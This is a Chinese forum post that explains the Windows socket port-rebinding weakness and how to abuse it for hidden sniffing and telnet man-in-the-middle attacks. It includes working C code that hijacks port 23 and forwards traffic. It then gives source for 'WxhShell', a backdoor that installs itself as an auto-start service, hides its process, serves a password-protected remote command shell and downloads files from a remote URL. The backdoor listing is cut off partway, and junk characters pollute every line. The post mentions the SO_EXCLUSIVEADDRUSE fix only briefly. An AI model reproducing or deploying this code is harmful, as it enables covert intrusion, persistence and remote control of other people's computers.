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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CL`+\ .  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \FX"A#  
\ C$t  
  saddr.sin_family = AF_INET; Ttl m&d+C  
|bQF.n_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t>a D;|Y  
HNc/p4z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LB({,0mcX  
b+gu<##  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  2rC&  
e?7NW  
  这意味着什么?意味着可以进行如下的攻击: :,yC\,H^  
>\~Er@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %TAS4hnu%  
,o0Kevz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kVCWyZh4  
T12Zak4.=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]ZP!y  
FSz<R*2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K } T=j+  
KSS]%66Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RO3q!+a$/  
| Vlx:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G{,DoCM5WL  
RX_f[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~xDu2 -5  
.x] pJ9  
  #include 6WIs*$T2*  
  #include =z"8#_3A  
  #include d@$bPQQ$,  
  #include    m<k6oev$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F?jD5M08t/  
  int main() _cC!rq U1  
  { !Ea9 fe  
  WORD wVersionRequested; 9 !UNO  
  DWORD ret; `'5vkO>  
  WSADATA wsaData; Z5F#r>>`  
  BOOL val; a[z$ae7  
  SOCKADDR_IN saddr; ]t&^o**  
  SOCKADDR_IN scaddr; \Wg_ gA  
  int err; qQ3pe:n?  
  SOCKET s; H2Z e\c  
  SOCKET sc; GL-b})yy  
  int caddsize; ,uNJz-B8  
  HANDLE mt; dIh+h|:  
  DWORD tid;   g]N'6La  
  wVersionRequested = MAKEWORD( 2, 2 ); tcRJ1:d  
  err = WSAStartup( wVersionRequested, &wsaData ); cX4]ViXSr  
  if ( err != 0 ) { K1R?Qt,qDF  
  printf("error!WSAStartup failed!\n"); {_Ll'S  
  return -1; G9am}qr  
  } oD9L5c)  
  saddr.sin_family = AF_INET; ypGt6t(;  
   CCt\[hl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <]DUJuF-M  
h6IXD N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fE)o-q6Z  
  saddr.sin_port = htons(23); 6ce-92n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3O Ks?i3A  
  { T>b"Gj/  
  printf("error!socket failed!\n"); \o72VHG66  
  return -1; -&]!ig5v  
  } h 6?Z  
  val = TRUE; XR[=W(m}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E^ c *x^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ol h{<~Fv  
  { '|yCDBu  
  printf("error!setsockopt failed!\n"); @-xvdntx  
  return -1; X6(s][Wn  
  }  \G)F*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9iM%kY#)W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h~CLJoK<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .,#H]?Wil  
j`$$BVZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7Nk|9t  
  { $)X8'1%6  
  ret=GetLastError(); KUm?gFh  
  printf("error!bind failed!\n"); Uey'c1  
  return -1; ]e7?l/N[  
  } L@zhbWY  
  listen(s,2); ZMiOKVl  
  while(1) D `V.gV]  
  { 1kvs2  
  caddsize = sizeof(scaddr); ;b1B*B  
  //接受连接请求 u-:3C<&>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T,>L  
  if(sc!=INVALID_SOCKET) 5F ^VvzNn  
  { lQ!OD& 6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %.$7-+:7A  
  if(mt==NULL) t&[<Dl/L  
  { >nih:5J,ja  
  printf("Thread Creat Failed!\n"); 9^8OIv?m8  
  break; )i[Vq|n  
  } [2Nux0g  
  } s/C'f4  
  CloseHandle(mt); LGW_7&0<<  
  } <m1v+cnqo  
  closesocket(s); -MTYtw(  
  WSACleanup(); K r|.I2?"  
  return 0; ^[Ka+E^Q  
  }    O&|<2Qr  
  DWORD WINAPI ClientThread(LPVOID lpParam) NV9JMB{q  
  { K5XW&|tY!  
  SOCKET ss = (SOCKET)lpParam; 6'@{ * u  
  SOCKET sc; x{<l8vL=-c  
  unsigned char buf[4096]; E!mv}  
  SOCKADDR_IN saddr; w7Y@wa!  
  long num; 02*qf:kTnA  
  DWORD val; Ov?J"B'F  
  DWORD ret; IOuqC.RJ}o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S1mMz i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kL0K[O  
  saddr.sin_family = AF_INET; -]D/8,|s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Pgy[\t2K  
  saddr.sin_port = htons(23); xz5A[)N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zUv#%Q8vw  
  { 6},[HpXRc4  
  printf("error!socket failed!\n"); n;N79`mZC  
  return -1; ^w.]1x  
  } 8 p[n>qV9  
  val = 100; ,J!$Q0e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >-<iY4|[d  
  { ^V96l Kt/  
  ret = GetLastError(); j4!O,.!T  
  return -1; {)!>e  
  } +FqE fY4j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,#&7+e!]>P  
  { 5Lej_uqF   
  ret = GetLastError(); B,w ZI4oi*  
  return -1; Ox-eB  
  } 'EXx'z;/#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |b.xG_-s1  
  { bP#!U'b"=  
  printf("error!socket connect failed!\n"); <"P-7/j3j  
  closesocket(sc); hdrsa}{g  
  closesocket(ss); \y=oZk4  
  return -1; 1hGj?L0m.  
  } X<[ qX*  
  while(1) }AJoF41X  
  { hp9U   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A!x&,<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pxd=a!(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bSX/)')jU  
  num = recv(ss,buf,4096,0); m Jk\$/Kh  
  if(num>0) OVe0{} j  
  send(sc,buf,num,0); DyGls8<\!  
  else if(num==0) B#SVN Lv  
  break; (A6~mi r!  
  num = recv(sc,buf,4096,0); T:Klr=&V  
  if(num>0) ozRTY9S _;  
  send(ss,buf,num,0); R( FQ+h  
  else if(num==0) @y`xFPB  
  break; X V;j6g  
  } `a|&aj0  
  closesocket(ss); !.$L=>:V  
  closesocket(sc); /+SLq`'u)  
  return 0 ; er)I".|  
  } Xzf,S;XV~  
0zq'Nf?#3  
S\&3t}_  
========================================================== <TRhnz  
5j1d=h  
下边附上一个代码,,WXhSHELL d>8" -$  
'"\M`G  
========================================================== k<^M >` $  
%(lO>4>|  
#include "stdafx.h" CYW@Km{e  
$%cc[[/U  
#include <stdio.h> !!^z6jpvn  
#include <string.h> TI< x;p  
#include <windows.h> *<($.c  
#include <winsock2.h> D @*<O=_D(  
#include <winsvc.h> M[YFyM(  
#include <urlmon.h> A:r?#7 Ma  
+C{-s  
#pragma comment (lib, "Ws2_32.lib") &9#m] Mz  
#pragma comment (lib, "urlmon.lib") 6- i.*!I 8  
_f^KP@^j  
#define MAX_USER   100 // 最大客户端连接数 +)jll#}?  
#define BUF_SOCK   200 // sock buffer _q27 3QG/"  
#define KEY_BUFF   255 // 输入 buffer 1w^wa_qx  
fj5 g\m  
#define REBOOT     0   // 重启 X&qx4 DL  
#define SHUTDOWN   1   // 关机 k*hl"oL"X  
lZcNio  
#define DEF_PORT   5000 // 监听端口 UPfO;Z`hJ  
f`uRC-B/  
#define REG_LEN     16   // 注册表键长度 2(xC|  
#define SVC_LEN     80   // NT服务名长度 U@mznf* J  
RQx8Du<  
// 从dll定义API %7)=k}4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FRrp@hE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yS\&2"o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \%=\4%:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kk3^m1  
N"ga -u  
// wxhshell配置信息 ;Y`Y1  
struct WSCFG { .Q*X5Fc  
  int ws_port;         // 监听端口 M`Er&nQs  
  char ws_passstr[REG_LEN]; // 口令 b]+F/@h~]  
  int ws_autoins;       // 安装标记, 1=yes 0=no (G>[A}-  
  char ws_regname[REG_LEN]; // 注册表键名 ;[sW\Ou  
  char ws_svcname[REG_LEN]; // 服务名 { :tO RF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J/?Nf2L4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pFd8p@m_2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "n!yK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;"wCBuXcu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i/ilG 3m>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WKEb '^  
dq[h:kYm  
}; FLqN3D=yQ  
C8}:z\A_@Z  
// default Wxhshell configuration }9'`3vsJ  
struct WSCFG wscfg={DEF_PORT, :jLL IqhB  
    "xuhuanlingzhe", L8QWEFB|  
    1, .gRj^pu   
    "Wxhshell", B )r-,M  
    "Wxhshell", A IP~A]T  
            "WxhShell Service", az(<<2=  
    "Wrsky Windows CmdShell Service", PLyity-L[7  
    "Please Input Your Password: ", \n) ',4mY  
  1, $RaN@& Wm  
  "http://www.wrsky.com/wxhshell.exe", *glZb;_  
  "Wxhshell.exe" +$,Re.WnP  
    }; h4? x_"V"  
FRBu8WW0L  
// 消息定义模块 9Yx(u 2PQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'x!\pE-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V)`2 Kw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IY`p7 )#i  
char *msg_ws_ext="\n\rExit."; =?fz-HB  
char *msg_ws_end="\n\rQuit."; $<^t][{  
char *msg_ws_boot="\n\rReboot..."; 9)q3cjP{<  
char *msg_ws_poff="\n\rShutdown..."; 5AYOM=O]t  
char *msg_ws_down="\n\rSave to "; %a;#]d  
RdTM5ANT  
char *msg_ws_err="\n\rErr!"; i--t ?@#  
char *msg_ws_ok="\n\rOK!"; ut{T:kT  
j9+$hu#a  
char ExeFile[MAX_PATH]; Ux [<g%F"  
int nUser = 0; du3f'=q6|  
HANDLE handles[MAX_USER]; M ?$[WS  
int OsIsNt; >Jz9wo`  
y>^^.  
SERVICE_STATUS       serviceStatus; UNdD2Fd9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y`|+sND  
5'~_d@M  
// 函数声明 xP9(J 0y  
int Install(void); SUncQJJ0S*  
int Uninstall(void); `Lf'/q   
int DownloadFile(char *sURL, SOCKET wsh); n|SV)92o1  
int Boot(int flag); }h5i Tc  
void HideProc(void); k_al*iM>H  
int GetOsVer(void); >qjV{M  
int Wxhshell(SOCKET wsl); }]?Si6_ZZ  
void TalkWithClient(void *cs); 'rD6MY  
int CmdShell(SOCKET sock); La26"C"X  
int StartFromService(void); *Z5^WHwg  
int StartWxhshell(LPSTR lpCmdLine); X%1TsCKMj  
/:&!o2&1H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l>?c AB[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p*Bty@CRi  
J3K=z  
// 数据结构和表定义 7|P kc(O  
SERVICE_TABLE_ENTRY DispatchTable[] = "/#JC} ]  
{ tT$OnZu&  
{wscfg.ws_svcname, NTServiceMain}, *sho/[~_  
{NULL, NULL} ^URCnJ67Se  
}; mP(3[a_Q  
(C2 XFg_  
// 自我安装 Nk`UQ~g$  
int Install(void) lq/2Y4LE)  
{ 5Wt){rG0Z  
  char svExeFile[MAX_PATH]; pm&TH d  
  HKEY key; Ac7^JXh%  
  strcpy(svExeFile,ExeFile); 1^p/#jt  
iTVe8eI  
// 如果是win9x系统,修改注册表设为自启动 I$n= >s  
if(!OsIsNt) { Y Y:Bw W:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f& 4_:'-,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JE?p'77C  
  RegCloseKey(key); V|7YRa@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j]a$RC#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0&.CAHb}  
  RegCloseKey(key); A KNx~!%2  
  return 0; v\0G`&^1  
    } v0^9 "V:y  
  } LSo!_tY  
} G1"iu8 9d  
else { ::L2zVq5V  
E_HB[ 9  
// 如果是NT以上系统,安装为系统服务 Qy,^'fSN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B~Q-V&@o  
if (schSCManager!=0) f0Q6sVZHa  
{ PJnC  
  SC_HANDLE schService = CreateService B[vj X"yg  
  ( Y4T")  
  schSCManager, e _vsiT  
  wscfg.ws_svcname, D7ex{SVA)  
  wscfg.ws_svcdisp, $6QIYF""  
  SERVICE_ALL_ACCESS, _B4&Fb.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F /b`[  
  SERVICE_AUTO_START, X>%nzY]m  
  SERVICE_ERROR_NORMAL, o<2GtF1"o  
  svExeFile, ~,'{\jDrS  
  NULL, =bC +1 C  
  NULL, A 5?"  
  NULL, uGKjZi  
  NULL, e5h*GKF  
  NULL >%JPgr/ 8  
  ); Otn,UoeeB  
  if (schService!=0) ?I.9?cQXZ  
  { x^f<G 6z  
  CloseServiceHandle(schService); QaX.Av  
  CloseServiceHandle(schSCManager); lG*Rw-?a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5:Qz  
  strcat(svExeFile,wscfg.ws_svcname); #F*|@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o3ZN0j69|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l/$GF|`U  
  RegCloseKey(key); _Fb}zPU!  
  return 0; w7nt $L5  
    } #XV=,81w  
  } sE9FT#iE  
  CloseServiceHandle(schSCManager); 8 WP>u8&  
} $o6/dEKQ  
} &}ZmT>q`$  
N,ht<l\  
return 1; > =>/~dIb  
} I8F+Z  
] !UYl  
// 自我卸载 ~iw&^p|=K  
int Uninstall(void) J=V  
{ gmTBT#{6yH  
  HKEY key; \}-4(Xdaq  
)cf i@-J+#  
if(!OsIsNt) { myx/|-V"F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Jg;%%E3:i  
  RegDeleteValue(key,wscfg.ws_regname); _iwG'a[`  
  RegCloseKey(key); 4" @<bKx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aCQtE,.  
  RegDeleteValue(key,wscfg.ws_regname); a"~o'W7  
  RegCloseKey(key); _8K+iqMZG  
  return 0; z,HhSW?&^  
  } a|ftl&uk  
} KaIKb=4L|  
} e~h>b.~  
else { owVvbC2<b(  
<+8'H:wz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8(3(kZxS  
if (schSCManager!=0) p_r`"  
{ $QX$rN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @xG&K{j  
  if (schService!=0) ?7{U=1gb$  
  { 5Z=4%P*I  
  if(DeleteService(schService)!=0) { f^%3zWp|-  
  CloseServiceHandle(schService); .soCU8i3  
  CloseServiceHandle(schSCManager); }A9#3Y|F  
  return 0; A`c22Ls]  
  } ,"qCz[aDN1  
  CloseServiceHandle(schService); #86N !&x  
  } %cNN<x8  
  CloseServiceHandle(schSCManager); ;5a$ OM  
} mrGV{{.  
} On C)f  
Pz]WT1J0  
return 1; yUoR6w  
} ~f QrH%@  
r}U6LE?>  
// 从指定url下载文件 x"r0<RK  
int DownloadFile(char *sURL, SOCKET wsh) l,ny=Q$[1'  
{ T+8Yd(:hX  
  HRESULT hr; ,n|si#  
char seps[]= "/"; <y 4(!z"  
char *token; `RTxc  
char *file; t Zxx#v`  
char myURL[MAX_PATH]; Jcw^Z,  
char myFILE[MAX_PATH]; 6#w>6g4V~R  
G,8mFH  
strcpy(myURL,sURL); QE<Z@/V*a  
  token=strtok(myURL,seps); OqGp|`  
  while(token!=NULL) (qcFGM22U  
  { cJKnB!iL5  
    file=token; N,t9X7G&  
  token=strtok(NULL,seps); m l`xLZN>L  
  } UG1<Xfu|  
,f03TBD}  
GetCurrentDirectory(MAX_PATH,myFILE); OM'iJB6=  
strcat(myFILE, "\\"); 8jK=A2pTa  
strcat(myFILE, file); ,%i Scr,z  
  send(wsh,myFILE,strlen(myFILE),0); T2{e 1 =Z7  
send(wsh,"...",3,0); V:0IBbh)w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0 _!0\d#c  
  if(hr==S_OK) 7KtU\u  
return 0; "+DA)K  
else /4{WT?j  
return 1; .EYL  
7:`XE&Z  
} f5}afPk  
BD6!,  
// 系统电源模块 H`[FC|RYyE  
int Boot(int flag) |$.?(FZYu  
{ z:'m50'  
  HANDLE hToken; D@=]mh6vl  
  TOKEN_PRIVILEGES tkp; ~tUZQ5"  
L K&c~ Uy  
  if(OsIsNt) { j/v>,MM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P0N/bp2Uy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /Qgb t  
    tkp.PrivilegeCount = 1; Z;+,hR((  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *h^->+0n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lM-\:Q!  
if(flag==REBOOT) { cGot0' mB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) deVd87;@7[  
  return 0; }OkzP)(  
} .0Ud?v>=  
else { 6:_~-xG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a%q,P @8  
  return 0; %p7 ?\>  
} +V=<vT  
  } d`\SX(C  
  else { U$:^^Zt`B  
if(flag==REBOOT) { [*%lm9 x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l|g*E.:4  
  return 0; EeaJUK]z9  
} ,\`ruWWLb=  
else { /Pjd"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E2hsSqsu=  
  return 0; +Q&l}2  
} H )X[%+  
} {/[@uMS_6]  
eI-fH  
return 1; ;Q ZG<  
} k?cX f j&  
)\U:e:Zae  
// win9x进程隐藏模块 }0 ~$^J  
void HideProc(void) /fQcrd7h  
{ wXNng(M7  
p{?duq=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fb f&bJT  
  if ( hKernel != NULL ) <?7CwW  
  { Z@Rqm:e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /X8a3Eqp9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mtUiO p  
    FreeLibrary(hKernel); COi15( G2  
  } m?-)SA  
V7$ m.P#uM  
return; Yjg$o:M  
} 3P_.SF  
1@Ba7>%'  
// 获取操作系统版本 Hc/7x).  
int GetOsVer(void) BDt$s( \  
{ 4Q+,_iP  
  OSVERSIONINFO winfo; _0[z xOI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NK-}[!f  
  GetVersionEx(&winfo);  v9T 3=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9^^\Z5  
  return 1; x ]VycS  
  else B"v*[p?  
  return 0; mbAzn  
} R0M>'V?e  
O!PGZuF  
// 客户端句柄模块 U" @5R[=F-  
int Wxhshell(SOCKET wsl) pIIp61=$  
{ zDg*ds\  
  SOCKET wsh; gd[muR ~  
  struct sockaddr_in client; l_yy;e  
  DWORD myID; F,YP Il  
Iq|h1ie m+  
  while(nUser<MAX_USER) HX.K{!5  
{ j'*.=cwsp  
  int nSize=sizeof(client); 03?ADjO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a,rXG  
  if(wsh==INVALID_SOCKET) return 1; _9oKW;7f7  
ErN[maix#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ' !huU   
if(handles[nUser]==0) hLfWDf*T|  
  closesocket(wsh);  2  
else !19T=p/:$  
  nUser++; -cUW,>E  
  } :] Wn26z)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "]^U(m>f  
w !kk(QMV  
  return 0; /5%'q~  
} 2k!uk6  
&[`2 4Db  
// 关闭 socket Wz^;:6F  
void CloseIt(SOCKET wsh) oD%n}  
{ QeY+imM  
closesocket(wsh); ~N /%R>(v  
nUser--; Sh;`<Ggi~  
ExitThread(0); %X\J%Fj  
} QM!UMqdj  
yS)k"XNb  
// 客户端请求句柄 wgDAb#Zuk  
void TalkWithClient(void *cs) 9X[378f+(  
{ !yg &zzP*  
VI3fvGHat{  
  SOCKET wsh=(SOCKET)cs; i~GW  
  char pwd[SVC_LEN]; &tkPZ*}#1  
  char cmd[KEY_BUFF]; s"7FmJ\7rw  
char chr[1]; *K>2B99TXu  
int i,j; 5I* 1CIO  
!:d\A  
  while (nUser < MAX_USER) { #WA7}tHb  
Eoz/]b  
if(wscfg.ws_passstr) { EQnU:a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ym%# "  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6n:X p_yO  
  //ZeroMemory(pwd,KEY_BUFF); ~m R^j  
      i=0; w2$ L;q  
  while(i<SVC_LEN) { 2C0j.Ib  
2SC'Z>A  
  // 设置超时 p;[.&o J  
  fd_set FdRead; H/f}t w  
  struct timeval TimeOut; ,>g( %3C  
  FD_ZERO(&FdRead); K[SzE{5=P  
  FD_SET(wsh,&FdRead); ldG8hK  
  TimeOut.tv_sec=8; HJr*\%D}1  
  TimeOut.tv_usec=0; G>Bgw>#_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); / /G&=i$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); * *A JFc  
%jUZc:06  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E.'6p \  
  pwd=chr[0]; .K940& Ui  
  if(chr[0]==0xd || chr[0]==0xa) { qoan<z7  
  pwd=0; ^=I[uX-3ue  
  break; zv1,DnkqF  
  } v&sp;%I6=  
  i++; cLp9|y0r  
    } WnQ'I=E#~  
Q0 PqyobD  
  // 如果是非法用户,关闭 socket C _W]3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q#*qPg s  
} P^ -x  
Ty 6XU!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aF=;v*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O[ans_8  
?`*`A9@  
while(1) { Pi&\GMzd  
1^Q!EV  
  ZeroMemory(cmd,KEY_BUFF); acpc[ ^'  
\  }-v  
      // 自动支持客户端 telnet标准   yYC\a7Al4  
  j=0; G*v,-O  
  while(j<KEY_BUFF) {  wMH13i3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qztL M?iV  
  cmd[j]=chr[0]; L8;`*H  
  if(chr[0]==0xa || chr[0]==0xd) { e mq%" ;.  
  cmd[j]=0; $YBH;^#  
  break; ieyqp~+|4$  
  } ^J?2[(   
  j++; KE)^S [Da  
    } 'u [cT$  
=F*{O=  
  // 下载文件 0O q5;5  
  if(strstr(cmd,"http://")) { m[5ed1+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OUHd@up@n  
  if(DownloadFile(cmd,wsh)) Qe<c@i"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tq6@ 1j6p  
  else HV3D$~gF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wZ8LY;  
  }  `Q^Vm3h  
  else { k/xNqN(  
(w'k\y  
    switch(cmd[0]) { [s!cc:JR  
  KrECAc  
  // 帮助 @0:mP  
  case '?': { }>Lz\.Z/+[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ku5g`ho  
    break; "%t !+E>nr  
  } g.EKdvY"%H  
  // 安装 YAF0I%PYU  
  case 'i': { qr/N?,  
    if(Install()) \AR3DDm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 dCqS  
    else iu,Bmf^oD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6? (8KsaN  
    break; dZbG#4oO  
    } )ULxB'Dm  
  // 卸载  hWu#}iN  
  case 'r': { ?@_,_gTQ  
    if(Uninstall()) s&OwVQ<M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rNHV  
    else |z%*}DPrpa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w<4){ .dA  
    break; "Zicac@N  
    } j[1^#kE  
  // 显示 wxhshell 所在路径 u`X}AKC  
  case 'p': { U#_rcu  
    char svExeFile[MAX_PATH]; _bq2h%G=8  
    strcpy(svExeFile,"\n\r"); `!T6#6h  
      strcat(svExeFile,ExeFile); 785Y*.p  
        send(wsh,svExeFile,strlen(svExeFile),0); 2|^bDg;W+u  
    break; ].w$b)G   
    } QO~ TuC  
  // 重启 z//6yr  
  case 'b': { P(r}<SM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 80M4~'3  
    if(Boot(REBOOT)) `S7${0e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?+#E&F  
    else { ?3i-wpzMp  
    closesocket(wsh); M*c`@\  
    ExitThread(0); sXSZ#@u,WN  
    } pKSVT  
    break; Ec]cCLB  
    } )6mv 7M{  
  // 关机 hMx/}Tw wt  
  case 'd': { cYTX)]^u  
